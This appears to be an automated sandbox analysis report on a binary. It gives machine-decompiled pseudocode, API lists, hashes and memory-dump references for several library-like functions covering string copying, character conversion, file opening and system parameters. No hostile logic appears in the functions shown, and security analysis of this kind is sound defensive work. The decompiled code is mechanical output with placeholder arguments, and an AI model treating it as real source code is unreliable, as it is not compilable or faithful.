Opcode Fuzzy Hash: b630ce7b8460eac006af40184d96ef7093c0aeb0ba25428384d256a80df2b0c7
Instruction Fuzzy Hash: C141C8B5D00148EFCB10EF94D8C1BAA7BB4EF86310F148094FE59AB341D639A946D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00EEBFD0, Relevance: 3.1, APIs: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00EEBFD0(void* __eax, signed int __ebx, intOrPtr* __ecx, void* __fp0, intOrPtr* _a4) {
				intOrPtr _v8;
				void* __edi;
				void* __esi;
				intOrPtr _t38;
				intOrPtr* _t39;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				intOrPtr _t44;
				signed int _t59;
				void* _t80;
				intOrPtr* _t83;
				void* _t85;
				void* _t86;
				void* _t95;

				_t95 = __fp0;
				_t59 = __ebx;
				_push(__ecx);
				_t80 = __eax;
				_t83 = __ecx;
				if(__eax == 0) {
					L7:
					return _t83;
				}
				_t38 =  *((intOrPtr*)(_a4 + 4));
				if(__ebx >= _t38) {
					goto L7;
				}
				if(__eax != 0xffffffff) {
					__eflags = __ebx + __eax - _t38;
					if(__eflags <= 0) {
						L4:
						_t3 = _t83 + 0xc; // 0x9
						_t39 =  *_t3;
						if( *_t39 > 1) {
							 *_t39 =  *_t39 - 1;
							_push(4);
							_t40 = E00EF14F7(_t80, _t83, __eflags);
							_t86 = _t85 + 4;
							__eflags = _t40;
							if(_t40 == 0) {
								_t40 = 0;
							} else {
								 *_t40 = 1;
							}
							_t17 = _t83 + 4; // 0x1010101
							 *(_t83 + 0xc) = _t40;
							_t20 = _t80 + 1; // 0x1010102
							_t41 =  *_t17 + _t20;
							 *(_t83 + 8) = _t41;
							__eflags = _t41;
							if(__eflags == 0) {
								_t42 = 8;
							} else {
								_t42 = (_t41 + 7 >> 3) + (_t41 + 7 >> 3) + (_t41 + 7 >> 3) + (_t41 + 7 >> 3) + (_t41 + 7 >> 3) + (_t41 + 7 >> 3) + (_t41 + 7 >> 3) + (_t41 + 7 >> 3);
								__eflags = _t42;
							}
							 *(_t83 + 8) = _t42;
							_push( ~(0 | __eflags > 0x00000000) | _t42 * 0x00000002);
							_t44 = E00EF14F7(_t80, _t83, __eflags);
							_t29 = _t83 + 4; // 0x1010101
							_t31 =  *_t29 + 2; // 0x1010103
							_v8 = _t44;
							E00EF0D80(_t44,  *_t83,  *_t29 + _t31);
							_t85 = _t86 + 0x10;
							 *_t83 = _v8;
							L6:
							_t6 = _t83 + 4; // 0x1010101
							E00EF0D80( *_t83 +  *_t6 * 2,  *_a4 + _t59 * 2, _t80 + _t80);
							 *(_t83 + 4) =  *(_t83 + 4) + _t80;
							_t14 = _t83 + 4; // 0x1010101
							 *((short*)( *_t83 +  *_t14 * 2)) = 0;
							goto L7;
						}
						_t4 = _t83 + 4; // 0x1010101
						E00EE3130( *_t4 + _t80, _t83, _t95); // executed
						goto L6;
					}
				}
				_t80 = _t38 - _t59;
				goto L4;
			}

0x00eebfd0
0x00eebfd0
0x00eebfd3
0x00eebfd6
0x00eebfd8
0x00eebfdc
0x00eec033
0x00eec03a
0x00eec03a
0x00eebfe1
0x00eebfe6
0x00000000
0x00000000
0x00eebfeb
0x00f06c4a
0x00f06c4c
0x00eebff5
0x00eebff5
0x00eebff5
0x00eebffb
0x00eec03d
0x00eec03f
0x00eec041
0x00eec046
0x00eec049
0x00eec04b
0x00eec0ae
0x00eec04d
0x00eec04d
0x00eec04d
0x00eec053
0x00eec056
0x00eec059
0x00eec059
0x00eec05d
0x00eec060
0x00eec062
0x00f06c57
0x00eec068
0x00eec072
0x00eec072
0x00eec072
0x00eec076
0x00eec087
0x00eec088
0x00eec08d
0x00eec090
0x00eec099
0x00eec09c
0x00eec0a4
0x00eec0a7
0x00eec007
0x00eec00c
0x00eec01d
0x00eec022
0x00eec025
0x00eec02f
0x00000000
0x00eec02f
0x00eebffd
0x00eec002
0x00000000
0x00eec002
0x00f06c52
0x00eebff3
0x00000000

APIs

_memmove.LIBCMT ref: 00EEC01D
_memmove.LIBCMT ref: 00EEC09C

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 446f979d8975dc5b14e80a7db2099598e0c625c053a64bc68ff4ac78c3afc0df
Instruction ID: 29ece3709bc0d138e511babfbf11b8c924123f51a72773dbf326534925642b54
Opcode Fuzzy Hash: 446f979d8975dc5b14e80a7db2099598e0c625c053a64bc68ff4ac78c3afc0df
Instruction Fuzzy Hash: 21319371600649DFC324DF6DCC81A67B3E9EF84314B24866EE85AC7751EB71E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EED8B0, Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EED8B0(void* __fp0, intOrPtr _a4, short* _a12) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				intOrPtr _v28;
				char _v36;
				int _v40;
				char _v48;
				struct HINSTANCE__* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				intOrPtr _t27;
				struct HINSTANCE__* _t32;
				intOrPtr _t42;
				intOrPtr _t48;
				void* _t63;

				_t63 = __fp0;
				_t21 =  *0xf89604; // 0x38e17d8
				if( *((intOrPtr*)(_t21 + 0x1d)) == 0) {
					_t22 = 1;
				} else {
					_t41 = _a4;
					 *0xf77520 = _a4;
					 *0xf774f4 = 0;
					 *0xf774f0 = 0;
					_v36 = 0;
					_v28 = 1;
					_v24 = 0;
					_v20 = 0;
					_v12 = 1;
					_v8 = 0;
					E00EE9190(1,  &_v36);
					_t43 =  &_v20;
					_v28 = 6;
					_v36 =  &_v20;
					_v48 = 0;
					_v40 = 0;
					 *0xf7751c = 0;
					_t24 = E00EEEE10( &_v48);
					_t61 = _t24;
					if(_t24 != 0) {
						 *0xf7751c =  *((intOrPtr*)(E00EEEE60( &_v48, _t61)))();
					}
					E00EF1871(0, _t43, 1, 0xf1704a);
					E00EF18D0(1);
					_t27 =  *0xf89608; // 0x38e1830
					E00EF05C0(_t41, _t27);
					E00EED7A0(_a12, _t41, _t61, _t63);
					_t42 =  *0xf89608; // 0x38e1830
					SystemParametersInfoW(0x2001, 0,  *(_t42 + 4), 2);
					_t32 = _v52;
					_t48 =  *0xf774f4;
					if(_t32 != 0) {
						FreeLibrary(_t32);
					}
					E00EE9190(_t48,  &_v20);
					E00EE9190(_t48,  &_v36);
					_t22 = _t48;
				}
				return _t22;
			}

0x00eed8b0
0x00eed8b6
0x00eed8c6
0x00f0e25e
0x00eed8cc
0x00eed8cc
0x00eed8d8
0x00eed8de
0x00eed8e4
0x00eed8ea
0x00eed8ee
0x00eed8f2
0x00eed8f6
0x00eed8fa
0x00eed8fe
0x00eed902
0x00eed907
0x00eed90f
0x00eed917
0x00eed91b
0x00eed91f
0x00eed923
0x00eed929
0x00eed92e
0x00eed930
0x00eed939
0x00eed939
0x00eed943
0x00eed94c
0x00eed951
0x00eed95a
0x00eed962
0x00eed967
0x00eed979
0x00eed97f
0x00eed983
0x00eed98b
0x00eed98e
0x00eed98e
0x00eed998
0x00eed9a1
0x00eed9a6
0x00eed9a6
0x00eed9ae

APIs

SystemParametersInfoW.USER32 ref: 00EED979
FreeLibrary.KERNEL32(?), ref: 00EED98E

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeInfoLibraryParametersSystem
String ID:
API String ID: 3403648963-0
Opcode ID: 4f63e889f0439415d397e3b5d06149129979d01ae29adfeb217375fec3b3f283
Instruction ID: 28c5000376f4b37be2442ee92fd08d7e7a241a10ecf6d93c10678ab132dd60d1
Opcode Fuzzy Hash: 4f63e889f0439415d397e3b5d06149129979d01ae29adfeb217375fec3b3f283
Instruction Fuzzy Hash: A621BFB19083489FC300EF1ADC8186ABBE4FB88314F44592DF848A3362D771DA45DB93

Uniqueness

Uniqueness Score: -1.00%

Function 00F3411D, Relevance: 3.1, APIs: 2, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00F3411D(void* __ecx, void* __edi, short** _a4, intOrPtr _a8) {
				void* __esi;
				short** _t6;
				char* _t9;
				int _t17;
				void* _t18;
				char* _t22;
				int _t25;

				_t18 = __ecx;
				_t6 = _a4;
				_t25 =  &(_t6[1][0]);
				_t17 = WideCharToMultiByte(0xfde9, 0,  *_t6, _t25, 0, 0, 0, 0);
				_t29 = _t17;
				if(_t17 != 0) {
					_push(__edi);
					_push(_t17); // executed
					_t9 = E00EF14F7(__edi, _t25, __eflags); // executed
					_t22 = _t9;
					__eflags = WideCharToMultiByte(0xfde9, 0,  *_a4, _t25, _t22, _t17, 0, 0) - 1;
					E00F340A2(_a4, _a8, _t22, WideCharToMultiByte(0xfde9, 0,  *_a4, _t25, _t22, _t17, 0, 0) - 1); // executed
					_push(_t22);
					return E00EF10FC();
				} else {
					return E00F24C7B(_t18, __edi, _t29, _a8);
				}
			}

0x00f3411d
0x00f34120
0x00f34132
0x00f34142
0x00f34144
0x00f34146
0x00f34157
0x00f34158
0x00f34159
0x00f34169
0x00f34180
0x00f34184
0x00f34189
0x00f34196
0x00f34148
0x00f34154
0x00f34154

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00F48121,00F4EF44,?,?,?), ref: 00F3413C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00F4EF44), ref: 00F34177

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 35b602a9cdab8edbad64523715e5c5b08c9b527cfdea6429b7ce5af77f1ad76e
Instruction ID: 5efb3c7974eeec0c97e54afaf84e3d66818e31f78e63a1ec62c7d63b85693826
Opcode Fuzzy Hash: 35b602a9cdab8edbad64523715e5c5b08c9b527cfdea6429b7ce5af77f1ad76e
Instruction Fuzzy Hash: 060186763802487FE220B6A9AC86F67779CEB95B64F108025FB18DF2C1C5B0F800D675

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3C80, Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00EE3C80(void* __ebx, void* __ecx, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				intOrPtr _t27;
				intOrPtr _t31;
				intOrPtr _t34;
				short* _t36;
				intOrPtr _t38;
				void* _t39;
				void* _t52;
				intOrPtr _t53;
				void* _t55;
				short _t60;

				_t55 = __esi;
				_t39 = __ebx;
				if( *((intOrPtr*)(__esi + 8)) == 0) {
					_push(0x10);
					_t27 = E00EF14F7(_t52, __esi, __eflags);
					 *((intOrPtr*)(__esi + 8)) = _t27;
					 *((intOrPtr*)(__esi + 0xc)) = _t27;
				} else {
					_t36 =  *((intOrPtr*)( *((intOrPtr*)(__esi + 0xc))));
					_t60 =  *_t36;
					if(_t60 == 0) {
						_push(_t36);
						E00EF10FC();
						 *((intOrPtr*)(__esi + 0x10)) =  *((intOrPtr*)(__esi + 0x10)) - 1;
					} else {
						_push(0x10);
						_t38 = E00EF14F7(_t52, __esi, _t60);
						 *((intOrPtr*)( *((intOrPtr*)(__esi + 0xc)) + 0xc)) = _t38;
						 *((intOrPtr*)(__esi + 0xc)) = _t38;
					}
				}
				_push(_t52);
				 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0xc)) + 0xc)) = 0;
				_push( ~(0 | _t60 > 0x00000000) | (E00EF10E1(_t39) + 0x00000001) * 0x00000002); // executed
				_t31 = E00EF14F7(_t52, _t55, _t60); // executed
				_t53 = _t31;
				E00EF1487(_t53, _t39);
				 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0xc)))) = _t53;
				 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0xc)) + 4)) = _a4;
				_t34 =  *((intOrPtr*)(_t55 + 0xc));
				 *((intOrPtr*)(_t34 + 8)) = _a8;
				 *((intOrPtr*)(_t55 + 0x10)) =  *((intOrPtr*)(_t55 + 0x10)) + 1;
				return _t34;
			}

0x00ee3c80
0x00ee3c80
0x00ee3c87
0x00ee3d08
0x00ee3d0a
0x00ee3d12
0x00ee3d15
0x00ee3c89
0x00ee3c8c
0x00ee3c8e
0x00ee3c92
0x00ee3cfa
0x00ee3cfb
0x00ee3d03
0x00ee3c94
0x00ee3c94
0x00ee3c96
0x00ee3c9e
0x00ee3ca4
0x00ee3ca4
0x00ee3c92
0x00ee3caa
0x00ee3cac
0x00ee3cc9
0x00ee3cca
0x00ee3ccf
0x00ee3cd3
0x00ee3cde
0x00ee3ce3
0x00ee3ce6
0x00ee3cef
0x00ee3cf2
0x00ee3cf7

APIs

_wcslen.LIBCMT ref: 00EE3CB3
_wcscpy.LIBCMT ref: 00EE3CD3

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_wcscpy_wcslen
String ID:
API String ID: 245337311-0
Opcode ID: 2d2bb188424948eefa73e7b55580e7dbe81cec22a3b437fc1d7756889ac35b75
Instruction ID: 94690ca8ac8020455742699b4ea88b1acd770e910876c1c765e42021372f34c6
Opcode Fuzzy Hash: 2d2bb188424948eefa73e7b55580e7dbe81cec22a3b437fc1d7756889ac35b75
Instruction Fuzzy Hash: A61188B4500688DFD324DF69C442E22F7E4EF84311F14D86EE96A9BB91D635E841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EF07A0, Relevance: 3.1, APIs: 2, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E00EF07A0(WCHAR** __eax, signed int __ecx, void** __edx) {
				void* __esi;
				void* _t9;
				void* _t12;
				void** _t16;

				_t15 = __edx;
				_t6 = __eax;
				_t16 = __edx;
				 *((intOrPtr*)(__edx)) = 0xffffffff;
				if((__ecx & 0x00002000) == 0) {
					if((__ecx & 0x00000001) == 0) {
						if((__ecx & 0x00000002) == 0) {
							goto L5;
						} else {
							_push(0);
							_push(0x80);
							_push(2);
							_push(0);
							_push(7);
							_push(0xc0000000);
							goto L2;
						}
					} else {
						_t12 = CreateFileW( *__eax, 0xc0000000, 7, 0, 4, 0x80, 0); // executed
						 *_t16 = _t12;
						if(_t12 == 0xffffffff) {
							goto L5;
						} else {
							E00EEE1B0(_t15, _t16, 0, 0, 2); // executed
							goto L3;
						}
					}
				} else {
					_push(0);
					_push(0x80);
					_push(3);
					_push(0);
					_push(7);
					_push(0x80000000);
					L2:
					_t9 = CreateFileW( *_t6, ??, ??, ??, ??, ??, ??); // executed
					 *_t16 = _t9;
					L3:
					if( *_t16 == 0xffffffff) {
						L5:
						return 0;
					} else {
						return 1;
					}
				}
			}

0x00ef07a0
0x00ef07a0
0x00ef07a1
0x00ef07a3
0x00ef07af
0x00f0627f
0x00f062ba
0x00000000
0x00f062c0
0x00f062c0
0x00f062c2
0x00f062c7
0x00f062c9
0x00f062cb
0x00f062cd
0x00000000
0x00f062cd
0x00f06281
0x00f06296
0x00f0629c
0x00f062a1
0x00000000
0x00f062a7
0x00f062ad
0x00000000
0x00f062ad
0x00f062a1
0x00ef07b5
0x00ef07b5
0x00ef07b7
0x00ef07bc
0x00ef07be
0x00ef07c0
0x00ef07c2
0x00ef07c7
0x00ef07ca
0x00ef07d0
0x00ef07d2
0x00ef07d5
0x00ef07de
0x00ef07e1
0x00ef07d7
0x00ef07dd
0x00ef07dd
0x00ef07d5

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00EEE094,?,00000001,?,00EE3653,?), ref: 00EF07CA
CreateFileW.KERNELBASE(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00EEE094,?,00000001,?,00EE3653,?), ref: 00F06296

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9c74e99bffd7003de2571ffd745ffc1124a28b3b85c3699e3941db8fe206cbbe
Instruction ID: 3b02891b4ada064c228568876389a2bcfc80ffe7d1991f11673f99dd5febdd2b
Opcode Fuzzy Hash: 9c74e99bffd7003de2571ffd745ffc1124a28b3b85c3699e3941db8fe206cbbe
Instruction Fuzzy Hash: E1013C30785708BAF6753E289C4BF613690AB45B24F204756B7E5FE1E2D2F478829A44

Uniqueness

Uniqueness Score: -1.00%

Function 00EE16A0, Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EE16A0(void* __ecx, void* __edx, WCHAR* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				intOrPtr _v536;
				short _v540;
				void* __ebx;
				void* _t12;
				void* _t14;
				void* _t15;
				void* _t36;
				void* _t44;

				_t12 = E00EE2630(_t44); // executed
				if(_t12 == 0) {
					L6:
					return 1;
				}
				_t14 = E00EE1740();
				_t40 = _t14;
				if(_t14 != 0) {
					goto L6;
				}
				_t15 = E00EED650(_t40); // executed
				if(_t15 != 0) {
					goto L6;
				}
				_t35 = _a4;
				GetFullPathNameW(_a4, 0x104,  &_v540,  &_v8);
				E00EE2390(0xf88240,  &_v540, _a4, _t36);
				E00EE2390(0xf88230, _v8, _a4, _t36);
				 *((short*)(_v8 - 2)) = 0;
				if(_v536 == 0) {
					_t35 =  &_v540;
					E00EF1456( &_v540, "\\");
				}
				E00EE2390(0xf88250,  &_v540, _t35, _t36);
				 *0xf8822c = _a8;
				return 0;
			}

0x00ee16aa
0x00ee16b1
0x00f08bb2
0x00000000
0x00f08bb2
0x00ee16b7
0x00ee16bc
0x00ee16be
0x00000000
0x00000000
0x00ee16c4
0x00ee16cb
0x00000000
0x00000000
0x00ee16d1
0x00ee16e5
0x00ee16f6
0x00ee1703
0x00ee170d
0x00ee1718
0x00f08bbc
0x00f08bc8
0x00f08bcd
0x00ee1729
0x00ee1731
0x00000000

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE16E5

Part of subcall function 00EE2390: _wcslen.LIBCMT ref: 00EE239D
Part of subcall function 00EE2390: _memmove.LIBCMT ref: 00EE23C3

_wcscat.LIBCMT ref: 00F08BC8

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FullNamePath_memmove_wcscat_wcslen
String ID:
API String ID: 189345764-0
Opcode ID: b5a07103995618ade261ef01f54f5a553efcf6df6b0456540eb65e713268cb76
Instruction ID: 2015441755d858fd8e0eda5222b5755b32ba888a6894f20bc92f797a771483af
Opcode Fuzzy Hash: b5a07103995618ade261ef01f54f5a553efcf6df6b0456540eb65e713268cb76
Instruction Fuzzy Hash: FB01DBB094024DD7CB10FF61CC819DE73B8AF55350F4045D9E945A7241EEB09EC5ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF4B96, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00EF4B96(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t19;
				intOrPtr _t22;
				void* _t33;

				_push(0xc);
				_push(0xf6d030);
				E00EF6B90(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t33 - 0x1c)) = 0;
				if( *((intOrPtr*)(_t33 + 0x10)) == 0 ||  *((intOrPtr*)(_t33 + 0x14)) == 0) {
					L6:
					_t19 = 0;
				} else {
					if( *((intOrPtr*)(_t33 + 0x18)) != 0) {
						E00EF5391( *((intOrPtr*)(_t33 + 0x18)));
						 *((intOrPtr*)(_t33 - 4)) = 0;
						_t22 = E00EF49DA( *((intOrPtr*)(_t33 + 8)),  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)),  *((intOrPtr*)(_t33 + 0x14)),  *((intOrPtr*)(_t33 + 0x18))); // executed
						 *((intOrPtr*)(_t33 - 0x1c)) = _t22;
						 *((intOrPtr*)(_t33 - 4)) = 0xfffffffe;
						E00EF4C1A();
						_t19 =  *((intOrPtr*)(_t33 - 0x1c));
					} else {
						_t41 =  *((intOrPtr*)(_t33 + 0xc)) - 0xffffffff;
						if( *((intOrPtr*)(_t33 + 0xc)) != 0xffffffff) {
							E00EF2E60( *((intOrPtr*)(_t33 + 8)), 0,  *((intOrPtr*)(_t33 + 0xc)));
						}
						 *((intOrPtr*)(E00EF7E9A(_t41))) = 0x16;
						E00EF7E48();
						goto L6;
					}
				}
				return E00EF6BD5(_t19);
			}

0x00ef4b96
0x00ef4b98
0x00ef4b9d
0x00ef4ba4
0x00ef4baa
0x00ef4bdb
0x00ef4bdb
0x00ef4bb1
0x00ef4bb4
0x00ef4be6
0x00ef4bec
0x00ef4bfe
0x00ef4c06
0x00ef4c09
0x00ef4c10
0x00ef4c15
0x00ef4bb6
0x00ef4bb6
0x00ef4bba
0x00ef4bc3
0x00ef4bc8
0x00ef4bd0
0x00ef4bd6
0x00000000
0x00ef4bd6
0x00ef4bb4
0x00ef4be2

APIs

_memset.LIBCMT ref: 00EF4BC3
__lock_file.LIBCMT ref: 00EF4BE6

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: e99dfb0cc0be0ab7f41a279cb0449777176bf8862996d25dbe84eb97a79a0e6a
Instruction ID: fe39cbc7b82cff8076cbf09d04e145e98180d6adf0e7952db78e0bd98fef7389
Opcode Fuzzy Hash: e99dfb0cc0be0ab7f41a279cb0449777176bf8862996d25dbe84eb97a79a0e6a
Instruction Fuzzy Hash: 52011EB180521DEBCF12AFA4C8029EF7BB1AF04760F10A156FA5475192D731CA62DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF4966, Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00EF4966(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t20;
				signed int _t22;
				intOrPtr _t32;
				void* _t33;
				intOrPtr _t35;

				_push(0xc);
				_push(0xf6d010);
				E00EF6B90(__ebx, __edi, __esi);
				 *(_t33 - 0x1c) =  *(_t33 - 0x1c) | 0xffffffff;
				_t32 =  *((intOrPtr*)(_t33 + 8));
				_t35 = _t32;
				_t36 = _t35 != 0;
				if(_t35 != 0) {
					__eflags =  *(_t32 + 0xc) & 0x00000040;
					if(( *(_t32 + 0xc) & 0x00000040) == 0) {
						E00EF5391(_t32);
						 *(_t33 - 4) =  *(_t33 - 4) & 0x00000000;
						_t20 = E00EF48F9(__ebx, __edx, _t32); // executed
						 *(_t33 - 0x1c) = _t20;
						 *(_t33 - 4) = 0xfffffffe;
						E00EF49D2(_t32);
					} else {
						_t9 = _t32 + 0xc;
						 *_t9 =  *(_t32 + 0xc) & 0x00000000;
						__eflags =  *_t9;
					}
					_t22 =  *(_t33 - 0x1c);
				} else {
					 *((intOrPtr*)(E00EF7E9A(_t36))) = 0x16;
					_t22 = E00EF7E48() | 0xffffffff;
				}
				return E00EF6BD5(_t22);
			}

0x00ef4966
0x00ef4968
0x00ef496d
0x00ef4972
0x00ef4978
0x00ef497b
0x00ef4980
0x00ef4982
0x00ef4999
0x00ef499d
0x00ef49ad
0x00ef49b3
0x00ef49b8
0x00ef49be
0x00ef49c1
0x00ef49c8
0x00ef499f
0x00ef499f
0x00ef499f
0x00ef499f
0x00ef499f
0x00ef49a3
0x00ef4984
0x00ef4989
0x00ef4994
0x00ef4994
0x00ef49ab

APIs

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

__lock_file.LIBCMT ref: 00EF49AD

Part of subcall function 00EF5391: __lock.LIBCMT ref: 00EF53B6

__fclose_nolock.LIBCMT ref: 00EF49B8

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 657239dbaf1c3bf33cfb6c969259eb8765c7eb38bfa7f9642850d0f5879584f8
Instruction ID: 68680d7f620909d9f01465cc207cd51d5334de933d6bce50caaa6d521d797d80
Opcode Fuzzy Hash: 657239dbaf1c3bf33cfb6c969259eb8765c7eb38bfa7f9642850d0f5879584f8
Instruction Fuzzy Hash: B7F0BBB1A0570E9AD710AB7488027BF77E06F00334F10A649E674BA1D5D7BC8D019B56

Uniqueness

Uniqueness Score: -1.00%
